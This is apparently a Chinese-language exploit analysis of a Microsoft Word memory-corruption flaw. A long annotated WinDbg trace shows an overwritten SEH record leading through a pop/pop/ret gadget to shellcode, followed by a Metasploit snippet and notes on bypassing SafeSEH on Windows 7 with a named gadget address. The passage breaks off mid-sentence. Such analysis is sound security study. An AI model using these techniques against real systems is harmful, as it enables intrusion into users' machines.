1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 (140. b54): Break instruction exception - code 80000003 (first chance) eax =7ffda000 ebx =00000001 ecx =00000002 edx =00000003 esi =00000004 edi =00000005 eip =7c92120e esp =0336ffcc ebp =0336fff4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =0038 gs =0000 efl=00000246 ntdll!DbgBreakPoint: 7c92120e cc int 3 0 :007 > bu 7C92E45C0 :007 > bu 7C92E4650 :007 > bu 7C94A9EA0 :007 > bu 7C9232560 :007 > bu 7C9232750 :007 > bu 7C9232A60 :007 > bu 0x30001bdd *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE - 0 :007 > bl 0 e 7c92e45c 0001 (0001 ) 0 :**** ntdll!KiUserExceptionDispatcher 1 e 7c92e465 0001 (0001 ) 0 :**** ntdll!KiUserExceptionDispatcher+0x9 2 e 7c94a9ea 0001 (0001 ) 0 :**** ntdll!RtlDispatchException+0xac 3 e 7c923256 0001 (0001 ) 0 :**** ntdll!ExecuteHandler 4 e 7c923275 0001 (0001 ) 0 :**** ntdll!ExecuteHandler+0x1f 5 e 7c9232a6 0001 (0001 ) 0 :**** ntdll!ExecuteHandler2+0x24 6 e 30001bdd 0001 (0001 ) 0 :**** WINWORD+0x1bdd 0 :007 > gModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\netapi32.dllModLoad: 75c60000 75d00000 C:\WINDOWS\system32\urlmon.dllModLoad: 76d70000 76d92000 C:\WINDOWS\system32\Apphelp.dllModLoad: 06860000 06a01000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLLModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLLModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll(140.e28 ): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax =0000c8ac ebx =05000000 ecx =00000022 edx =00000000 esi =1104c830 edi =00130000 eip =30ed442c esp =001237b4 ebp =001237ec iopl=0 nv up ei pl nz na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00010206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll - mso!Ordinal1246+0x16b0 : 30ed442c f3a5 rep movs dword ptr es :[edi ],dword ptr [esi ] <----发生异常 0 :000 > gnBreakpoint 0 hit eax =0000c8ac ebx =05000000 ecx =00000022 edx =00000000 esi =1104c830 edi =00130000 eip =7c92e45c esp =001234c4 ebp =001237ec iopl=0 nv up ei pl nz na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000206 ntdll!KiUserExceptionDispatcher: 7c92e45c 8b4c2404 mov ecx ,dword ptr [esp +4 ] ss :0023 :001234c8=001234e8 0 :000 > dd esp 001234c4 001234cc 001234e8 c0000005 00000000 001234d4 00000000 30ed442c 00000002 00000001 001234e4 00130000 0001003f 00000000 00000000 001234f4 00000000 00000000 00000000 00000000 00123504 ffff037f ffff0000 ffffffff 30d582a700123514 00000000 00000000 ffff0000 ff35496300123524 00000000 4963ffff 0000ff35 ffff000000123534 00000000 00000000 0000ffff 00000000 0 :000 > dt _EXCEPTION_RECORD 001234ccntdll!_EXCEPTION_RECORD +0x000 ExceptionCode : 0n-1073741819 <---- 16 进制补码(C0000005),EXCEPTION_INVALID_VIOLATION,读写内存违规 +0x004 ExceptionFlags : 0 +0x008 ExceptionRecord : (null) +0x00c ExceptionAddress : 0x30ed442c Void <---- 发生异常的指令地址 +0x010 NumberParameters : 2 +0x014 ExceptionInformation : [15 ] 1 0 :000 > dt _CONTEXT 001234e8 ntdll!_CONTEXT +0x000 ContextFlags : 0x1003f +0x004 Dr0 : 0 +0x008 Dr1 : 0 +0x00c Dr2 : 0 +0x010 Dr3 : 0 +0x014 Dr6 : 0 +0x018 Dr7 : 0 +0x01c FloatSave : _FLOATING_SAVE_AREA +0x08c SegGs : 0 +0x090 SegFs : 0x3b +0x094 SegEs : 0x23 +0x098 SegDs : 0x23 +0x09c Edi : 0x130000 +0x0a0 Esi : 0x1104c830 +0x0a4 Ebx : 0x5000000 +0x0a8 Edx : 0 +0x0ac Ecx : 0x22 +0x0b0 Eax : 0xc8ac +0x0b4 Ebp : 0x1237ec +0x0b8 Eip : 0x30ed442c +0x0bc SegCs : 0x1b +0x0c0 EFlags : 0x10206 +0x0c4 Esp : 0x1237b4 +0x0c8 SegSs : 0x23 +0x0cc ExtendedRegisters : [512 ] "???" 0 :000 > gBreakpoint 1 hit eax =0000c8ac ebx =001234cc ecx =001234e8 edx =00000000 esi =1104c830 edi =00130000 eip =7c92e465 esp =001234bc ebp =001237ec iopl=0 nv up ei pl nz na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000206 ntdll!KiUserExceptionDispatcher+0x9 : 7c92e465 e8e6c40100 call ntdll!RtlDispatchException (7c94a950) 0 :000 > dd esp 001234bc 001234cc 001234e8 001234cc 001234e8 001234cc c0000005 00000000 00000000 30ed442c 001234dc 00000002 00000001 00130000 0001003f 001234ec 00000000 00000000 00000000 00000000 001234fc 00000000 00000000 ffff037f ffff0000 0012350c ffffffff 30d582a7 00000000 00000000 0012351c ffff0000 ff354963 00000000 4963ffff 0012352c 0000ff35 ffff0000 00000000 00000000 0 :000 > teax =0000c8ac ebx =001234cc ecx =001234e8 edx =00000000 esi =1104c830 edi =00130000 eip =7c94a950 esp =001234b8 ebp =001237ec iopl=0 nv up ei pl nz na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000206 ntdll!RtlDispatchException: 7c94a950 8bff mov edi ,edi 0 :000 > gBreakpoint 2 hit eax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c92e4f4 esi =001234cc edi =00130000 eip =7c94a9ea esp =00123430 ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!RtlDispatchException+0xac : 7c94a9ea e85888fdff call ntdll!RtlpExecuteHandlerForException (7c923247) 0 :000 > dd esp 00123430 001234cc 0012ffb0 001234e8 001234a000123440 30001bdd 00130000 001234cc 1104c83000123450 00000000 00000000 00000000 00000000 00123460 00000000 00000000 00000000 00000000 00123470 00000000 00000000 00000000 00000000 00123480 00000000 00000000 00000000 00000000 00123490 00000000 00000000 00000000 00000000 001234a0 00000000 00000000 00130000 00119000 0 :000 > dt _EXCEPTION_RECORD 001234ccntdll!_EXCEPTION_RECORD +0x000 ExceptionCode : 0n-1073741819 <---- 16 进制补码(C0000005),EXCEPTION_INVALID_VIOLATION,读写内存违规 +0x004 ExceptionFlags : 0 +0x008 ExceptionRecord : (null) +0x00c ExceptionAddress : 0x30ed442c Void <---- 发生异常的指令地址 +0x010 NumberParameters : 2 +0x014 ExceptionInformation : [15 ] 1 0 :000 > dt _EXCEPTION_REGISTRATION_RECORD 0012ffb0 ntdll!_EXCEPTION_REGISTRATION_RECORD +0x000 Next : 0xa29706eb _EXCEPTION_REGISTRATION_RECORD +0x004 Handler : 0x30001bdd _EXCEPTION_DISPOSITION +0 0 :000 > dt _CONTEXT 001234e8 ntdll!_CONTEXT +0x000 ContextFlags : 0x1003f +0x004 Dr0 : 0 +0x008 Dr1 : 0 +0x00c Dr2 : 0 +0x010 Dr3 : 0 +0x014 Dr6 : 0 +0x018 Dr7 : 0 +0x01c FloatSave : _FLOATING_SAVE_AREA +0x08c SegGs : 0 +0x090 SegFs : 0x3b +0x094 SegEs : 0x23 +0x098 SegDs : 0x23 +0x09c Edi : 0x130000 +0x0a0 Esi : 0x1104c830 +0x0a4 Ebx : 0x5000000 +0x0a8 Edx : 0 +0x0ac Ecx : 0x22 +0x0b0 Eax : 0xc8ac +0x0b4 Ebp : 0x1237ec +0x0b8 Eip : 0x30ed442c +0x0bc SegCs : 0x1b +0x0c0 EFlags : 0x10206 +0x0c4 Esp : 0x1237b4 +0x0c8 SegSs : 0x23 +0x0cc ExtendedRegisters : [512 ] "???" 0 :000 > dd 001234a0001234a0 00000000 00000000 00130000 00119000 001234b0 00000000 001237ec 7c92e46a 00000000 001234c0 001234e8 001234cc 001234e8 c0000005 001234d0 00000000 00000000 30ed442c 00000002 001234e0 00000001 00130000 0001003f 00000000 001234f0 00000000 00000000 00000000 00000000 00123500 00000000 ffff037f ffff0000 ffffffff00123510 30d582a7 00000000 00000000 ffff00000 :000 > teax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c92e4f4 esi =001234cc edi =00130000 eip =7c923247 esp =0012342c ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!RtlpExecuteHandlerForException: 7c923247 babc32927c mov edx ,offset ntdll!ExecuteHandler2+0x3a (7c9232bc) <---- ExecuteHandler2中安装的SEH记录的回调函数地址 0 :000 > peax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c92324c esp =0012342c ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!RtlpExecuteHandlerForException+0x5 : 7c92324c eb08 jmp ntdll!ExecuteHandler (7c923256) 0 :000 > pBreakpoint 3 hit eax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c923256 esp =0012342c ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler: 7c923256 53 push ebx 0 :000 > dd esp 0012342c 7c94a9ef 001234cc 0012ffb0 001234e8 0012343c 001234a0 30001bdd 00130000 001234cc 0012344c 1104c830 00000000 00000000 00000000 0012345c 00000000 00000000 00000000 00000000 0012346c 00000000 00000000 00000000 00000000 0012347c 00000000 00000000 00000000 00000000 0012348c 00000000 00000000 00000000 00000000 0012349c 00000000 00000000 00000000 00130000 0 :000 > peax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c923257 esp =00123428 ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler+0x1 : 7c923257 56 push esi 0 :000 > peax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c923258 esp =00123424 ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler+0x2 : 7c923258 57 push edi 0 :000 > peax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c923259 esp =00123420 ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler+0x3 : 7c923259 33c0 xor eax ,eax 0 :000 > dd esp 00123420 00130000 001234cc 0012ffb0 7c94a9ef00123430 001234cc 0012ffb0 001234e8 001234a000123440 30001bdd 00130000 001234cc 1104c83000123450 00000000 00000000 00000000 00000000 00123460 00000000 00000000 00000000 00000000 00123470 00000000 00000000 00000000 00000000 00123480 00000000 00000000 00000000 00000000 00123490 00000000 00000000 00000000 00000000 0 :000 > peax =00000000 ebx =0012ffb0 ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c92325b esp =00123420 ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler+0x5 : 7c92325b 33db xor ebx ,ebx 0 :000 > eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c92325d esp =00123420 ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler+0x7 : 7c92325d 33f6 xor esi ,esi 0 :000 > eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00130000 eip =7c92325f esp =00123420 ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler+0x9 : 7c92325f 33ff xor edi ,edi 0 :000 > eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c923261 esp =00123420 ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler+0xb : 7c923261 ff742420 push dword ptr [esp +20h ] ss :0023 :00123440 =30001bdd 0 :000 > peax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c923265 esp =0012341c ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler+0xf : 7c923265 ff742420 push dword ptr [esp +20h ] ss :0023 :0012343c=001234a0 0 :000 > eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c923269 esp =00123418 ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler+0x13 : 7c923269 ff742420 push dword ptr [esp +20h ] ss :0023 :00123438 =001234e8 0 :000 > eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c92326d esp =00123414 ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler+0x17 : 7c92326d ff742420 push dword ptr [esp +20h ] ss :0023 :00123434 =0012ffb0 0 :000 > eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c923271 esp =00123410 ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler+0x1b : 7c923271 ff742420 push dword ptr [esp +20h ] ss :0023 :00123430 =001234cc 0 :000 > Breakpoint 4 hit eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c923275 esp =0012340c ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler+0x1f : 7c923275 e808000000 call ntdll!ExecuteHandler2 (7c923282) 0 :000 > dd esp 0012340c 001234cc 0012ffb0 001234e8 001234a0 0012341c 30001bdd 00130000 001234cc 0012ffb0 0012342c 7c94a9ef 001234cc 0012ffb0 001234e8 0012343c 001234a0 30001bdd 00130000 001234cc 0012344c 1104c830 00000000 00000000 00000000 0012345c 00000000 00000000 00000000 00000000 0012346c 00000000 00000000 00000000 00000000 0012347c 00000000 00000000 00000000 00000000 0 :000 > teax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c923282 esp =00123408 ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler2: 7c923282 55 push ebp 0 :000 > peax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c923283 esp =00123404 ebp =001234b4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler2+0x1 : 7c923283 8bec mov ebp ,esp 0 :000 > eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c923285 esp =00123404 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler2+0x3 : 7c923285 ff750c push dword ptr [ebp +0Ch ] ss :0023 :00123410 =0012ffb0 0 :000 > peax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c923288 esp =00123400 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler2+0x6 : 7c923288 52 push edx <---- ERR->Handler 0 :000 > eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c923289 esp =001233fc ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler2+0x7 : 7c923289 64ff3500000000 push dword ptr fs :[0 ] fs :003b:00000000 =0012ffb0 <---- ERR->Next 0 :000 > eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c923290 esp =001233f8 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler2+0xe : 7c923290 64892500000000 mov dword ptr fs :[0 ],esp fs :003b:00000000 =0012ffb0 <---- 当前SEH链表头部 0 :000 > eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c923297 esp =001233f8 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler2+0x15 : 7c923297 ff7514 push dword ptr [ebp +14h ] ss :0023 :00123418 =001234a0 0 :000 > dd esp 001233f8 0012ffb0 7c9232bc 0012ffb0 001234b4 00123408 7c92327a 001234cc 0012ffb0 001234e800123418 001234a0 30001bdd 00130000 001234cc00123428 0012ffb0 7c94a9ef 001234cc 0012ffb000123438 001234e8 001234a0 30001bdd 00130000 00123448 001234cc 1104c830 00000000 00000000 00123458 00000000 00000000 00000000 00000000 00123468 00000000 00000000 00000000 00000000 0 :000 > dt _EXCEPTION_REGISTRATION_RECORD 001233f8ntdll!_EXCEPTION_REGISTRATION_RECORD +0x000 Next : 0x0012ffb0 _EXCEPTION_REGISTRATION_RECORD +0x004 Handler : 0x7c9232bc _EXCEPTION_DISPOSITION ntdll!ExecuteHandler2+0 0 :000 > peax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c92329a esp =001233f4 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler2+0x18 : 7c92329a ff7510 push dword ptr [ebp +10h ] ss :0023 :00123414 =001234e8 0 :000 > eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c92329d esp =001233f0 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler2+0x1b : 7c92329d ff750c push dword ptr [ebp +0Ch ] ss :0023 :00123410 =0012ffb0 0 :000 > eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c9232a0 esp =001233ec ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler2+0x1e : 7c9232a0 ff7508 push dword ptr [ebp +8 ] ss :0023 :0012340c=001234cc 0 :000 > eax =00000000 ebx =00000000 ecx =0000e085 edx =7c9232bc esi =00000000 edi =00000000 eip =7c9232a3 esp =001233e8 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler2+0x21 : 7c9232a3 8b4d18 mov ecx ,dword ptr [ebp +18h ] ss :0023 :0012341c=30001bdd 0 :000 > Breakpoint 5 hit eax =00000000 ebx =00000000 ecx =30001bdd edx =7c9232bc esi =00000000 edi =00000000 eip =7c9232a6 esp =001233e8 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 ntdll!ExecuteHandler2+0x24 : 7c9232a6 ffd1 call ecx {WINWORD+0x1bdd (30001bdd)} 0 :000 > dd esp 001233e8 001234cc 0012ffb0 001234e8 001234a0 001233f8 0012ffb0 7c9232bc 0012ffb0 001234b4 00123408 7c92327a 001234cc 0012ffb0 001234e800123418 001234a0 30001bdd 00130000 001234cc00123428 0012ffb0 7c94a9ef 001234cc 0012ffb000123438 001234e8 001234a0 30001bdd 00130000 00123448 001234cc 1104c830 00000000 00000000 00123458 00000000 00000000 00000000 00000000 0 :000 > dt _EXCEPTION_RECORD 001234ccntdll!_EXCEPTION_RECORD +0x000 ExceptionCode : 0n-1073741819 <---- 16 进制补码(C0000005),EXCEPTION_INVALID_VIOLATION,读写内存违规 +0x004 ExceptionFlags : 0 +0x008 ExceptionRecord : (null) +0x00c ExceptionAddress : 0x30ed442c Void <---- 发生异常的指令地址 +0x010 NumberParameters : 2 +0x014 ExceptionInformation : [15 ] 1 0 :000 > dt _EXCEPTION_REGISTRATION_RECORD 0012ffb0ntdll!_EXCEPTION_REGISTRATION_RECORD +0x000 Next : 0xa29706eb _EXCEPTION_REGISTRATION_RECORD +0x004 Handler : 0x30001bdd _EXCEPTION_DISPOSITION +0 0 :000 > dt _CONTEXT 001234e8 ntdll!_CONTEXT +0x000 ContextFlags : 0x1003f +0x004 Dr0 : 0 +0x008 Dr1 : 0 +0x00c Dr2 : 0 +0x010 Dr3 : 0 +0x014 Dr6 : 0 +0x018 Dr7 : 0 +0x01c FloatSave : _FLOATING_SAVE_AREA +0x08c SegGs : 0 +0x090 SegFs : 0x3b +0x094 SegEs : 0x23 +0x098 SegDs : 0x23 +0x09c Edi : 0x130000 +0x0a0 Esi : 0x1104c830 +0x0a4 Ebx : 0x5000000 +0x0a8 Edx : 0 +0x0ac Ecx : 0x22 +0x0b0 Eax : 0xc8ac +0x0b4 Ebp : 0x1237ec +0x0b8 Eip : 0x30ed442c +0x0bc SegCs : 0x1b +0x0c0 EFlags : 0x10206 +0x0c4 Esp : 0x1237b4 +0x0c8 SegSs : 0x23 +0x0cc ExtendedRegisters : [512 ] "???" 0 :000 > tBreakpoint 6 hit eax =00000000 ebx =00000000 ecx =30001bdd edx =7c9232bc esi =00000000 edi =00000000 eip =30001bdd esp =001233e4 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 WINWORD+0x1bdd : 30001bdd 59 pop ecx <---- 弹出异常处理函数返回地址 0 :000 > dd esp 001233e4 7c9232a8 001234cc 0012ffb0 001234e8 001233f4 001234a0 0012ffb0 7c9232bc 0012ffb0 00123404 001234b4 7c92327a 001234cc 0012ffb000123414 001234e8 001234a0 30001bdd 00130000 00123424 001234cc 0012ffb0 7c94a9ef 001234cc00123434 0012ffb0 001234e8 001234a0 30001bdd00123444 00130000 001234cc 1104c830 00000000 00123454 00000000 00000000 00000000 00000000 0 :000 > peax =00000000 ebx =00000000 ecx =7c9232a8 edx =7c9232bc esi =00000000 edi =00000000 eip =30001bde esp =001233e8 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 WINWORD+0x1bde : 30001bde 59 pop ecx <---- 弹出第一个参数,_EXCEPTION_RECORD结构体指针 0 :000 > eax =00000000 ebx =00000000 ecx =001234cc edx =7c9232bc esi =00000000 edi =00000000 eip =30001bdf esp =001233ec ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 WINWORD+0x1bdf : 30001bdf c3 ret <---- 返回到第二个参数(0x0012ffb0 ,ERR地址),也就是ERR->Next的内容形成的指令 0 :000 > eax =00000000 ebx =00000000 ecx =001234cc edx =7c9232bc esi =00000000 edi =00000000 eip =0012ffb0 esp =001233f0 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 0012ffb0 eb06 jmp 0012ffb8 <---- (jmp short,0x0012ffb8 -0x0012ffb2 =0x06 ,其16 进制补码也为0x06 ,目的地址与当前指令的下一条指令的地址之差) 0 :000 > dt _EXCEPTION_REGISTRATION_RECORD 0012ffb0ntdll!_EXCEPTION_REGISTRATION_RECORD +0x000 Next : 0xa29706eb _EXCEPTION_REGISTRATION_RECORD +0x004 Handler : 0x30001bdd _EXCEPTION_DISPOSITION +0 0 :000 > peax =00000000 ebx =00000000 ecx =001234cc edx =7c9232bc esi =00000000 edi =00000000 eip =0012ffb8 esp =001233f0 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 0012ffb8 e91f38ffff jmp 001237dc <---- (jmp near ,0x001237dc -0x0012ffbd =-51169 ,其16 进制补码为0xFFFF381F ) 0 :000 > eax =00000000 ebx =00000000 ecx =001234cc edx =7c9232bc esi =00000000 edi =00000000 eip =001237dc esp =001233f0 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 001237dc b8e69036d6 mov eax ,0D63690E6h <---- Shellcode第一条指令
如上所述,我们已经分析了覆盖SEH记录
,以及发生异常
后,系统是怎样调用SEH异常处理程序
的,还有通过pop/pop/ret
形式的ROPGadget
跳转到栈上构造的用于跳转到Shellcode的指令
去执行,最终跳转到Shellcode
执行。
此过程
可以简化为下图
所示:
msf
中提供的漏洞利用模块
就是使用覆盖SEH记录
达成控制流劫持的。其中如下部分,就是关键部分
,用于构建上图中的4,5两步骤
:
1 2 3 4 5 6 7 8 9 10 11 def add_target (rest, targ) targ['Offsets' ].each { |off| seh = generate_seh_record(targ.ret) rest[off, seh.length] = seh distance = off + seh.length jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string rest[off + seh.length, jmp_back.length] = jmp_back } end
环境:
Win7&Office2007
在Windows7
中,已经引入了SEH校验机制SafeSEH
。所以我们需要在未启用SafeSEH机制
的模块中寻找POP/POP/RET
形式的ROPGadget
,来bypass SafeSEH
。通过mona
插件,我们可以知道msxml5.dll
并未启用SafeSEH机制
,而且在其中找到了POP/POP/RET
形式的ROPGadget,其位于地址0x78812890
处。
0x43 Office2003和Office2007 Exploit的通用性 在前面通过覆盖返回地址
劫持控制流的方法中,因为XP&Office2003
和Win7&Office2007
的环境下,Office2003
和Office2007
的Word.exe
都是未启用DEP
的,所以都可以通过覆盖返回地址
,在栈
上执行Shellcode
。而在Windows7
中是支持映像ASLR
的,所以需要在未启用ASLR
的模块中,寻找“jmp esp”
形式的ROPGadget
。如果可以找到在两种环境下通用的ROPGadget
,就可以实现Exploit的通用性
。
对于通过覆盖SEH记录
劫持控制流的方法,我们需要关心的是当前环境
是否启用SafeSEH
和SEHOP
。Windows XP
是不支持SEHOP
的,虽然Windows7
支持SEHOP
,但是其默认是关闭
的。而SafeSEH
在Windows XP
和Windows7
上都是支持的,所以我们需要bypass SafeSEH
。这里使用的方法就是利用未启用SafeSEH的模块
bypass SafeSEH,我们需要在未启用SafeSEH的模块
中找到用于SEH劫持
的POP/POP/RET
形式的ROPGadget
。如果模块未启用SafeSEH
,并且该模块不是仅包含中间语言
